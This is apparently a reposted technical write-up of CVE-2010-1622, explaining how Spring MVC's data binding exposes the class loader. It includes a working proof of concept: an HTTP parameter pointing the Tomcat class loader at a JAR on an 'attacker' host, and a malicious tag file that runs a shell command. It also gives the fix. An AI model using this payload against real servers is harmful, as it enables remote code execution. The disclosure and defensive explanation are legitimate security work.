spring cve-2010-1622 exploit

http://www.exploit-db.com/exploits/13918/

http://blog.o0o.nu/2010/06/cve-2010-1622.html

Spring Source has recently published an advisory on CVE-2010-1622, so I figured I'd provide more details since other projects may be affected in similar ways due to incorrect usage of Java Beans API.


Java Beans API
Java Beans API's  Introspector  class provides 2 methods to obtain bean information of a class:

BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)


Calling  getBeanInfo()  on a bean(POJO) without supplying a  stopClass  will result in  BeanInfo 's  PropertyDescriptor  array containing properties of the Object.class , which all Java classes have as their superclass. Example:

public class Person {
  private String firstName;
  private String lastName;


  public String getFirstName();
  public void setFirstName(String firstName); 
  public String getLastName();
  public void setLastName(String lastName);
}


...
public static void main(String[] args) throws Exception {
    BeanInfo info = Introspector.getBeanInfo(Person.class);
    PropertyDescriptor[] properties = 
          info.getPropertyDescriptors();
    for (PropertyDescriptor pd : properties) {
      System.out.println("Property: " + pd.getName());
    }
  }
...

The output is:
Property: class
Property: firstName
Property: lastName

firstName  and  lastName  are expected but the  class  property corresponds to the  Object.getClass()  method, which returns  Class . If we call Introspector.getBeanInfo(Class.class)  we'll get a lot more properties:

Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
...

Spring Beans
Spring MVC allows developers to associate an object that represents HTML form input (form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:

POST /adduser HTTP/1.0
...
firstName=Tavis&lastName=Ormandy

will result in Spring (Spring Beans component) enumerating available properties of the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the  firstName  and lastName  properties will be set to the corresponding values. To support more complex classes Spring also supports dot notation, so user.address.street=Disclosure+Str.  will be an equivalent of:

frmObj.getUser().getAddress().setStreet("Disclosure Str.")  

The problem is that Spring Beans'  CachedIntrospectionResults  class that enumerates properties available to be set from user's form submission uses  java.beans.Introspector.getBeanInfo()  without specifying a stop class, which means that ' class ' property and everything after it is available for setting from HTTP requests.

Attack
If an attacker submits HTTP request to a form controller with the following HTTP parameter:

POST /adduser HTTP/1.0
...
class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

she will overwrite 0th element in the array returned by  frmObj.getClass().getClassLoader().getURLs()  with her own URL.

Which class loader will it be?
In the case of Apache Tomcat it's  org.apache.catalina.loader.WebappClassLoader

What's the deal with  [0] ?
Spring Framework automatically handles arrays and other collections (List, Map, etc). It can also automatically convert String to more complex types e.g. to java.io.File java.net.URL , etc.

What's the deal with  jar:http://...!/  URL?
Java's URL class automatically handles http:// JAR URLs just like it handles file:// URLs, it retrieves remote JAR transparently to the caller.

Where will the attacker's URL be used?
It turned out that Jasper's  TldLocationsCache  will use URLs returned by its class loader (the one the attacker modified above) to resolve Tag Library Descriptor (TLD) files when compiling JSP files. TLD files define custom tags and classes that implement them. In addition to classes, TLD files support  tag files , which are essentially JSP files (plaintext file with Java code enclosed in  <%...%> ). In the attack above the attacker supplies a URL of a JAR file that contains modified  spring-form.tld  file which will define Spring's custom form tags as being implemented by tag files:

/META-INF/spring-form.tld  which defines  form:input  and  form:form tags:  

<tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>
  <tag-file>
    <name>form</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>


/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
 java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); 
%>

When Jasper will be resolving Spring form tag libraries referenced in a JSP file and will find  spring-form.tld  in the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.

It should be noted that, based on my quick inspection of the code,  TldLocationsCache  gets URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which makes this attack a lot harder to carry out.

How to avoid this bug?
Specify the stop class:
BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)


Parting thoughts
There's got to be more components out there that use class loader's URLs, which will make the attack easier than the one described above.

There's got to be a way to do something interesting with other ' class ' properties still exposed. Spring's fix for this vulnerability was to blacklist ' classLoader ' property.

There's a lot more code out there  that doesn't specify stop class, some of it has to have security implications.
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值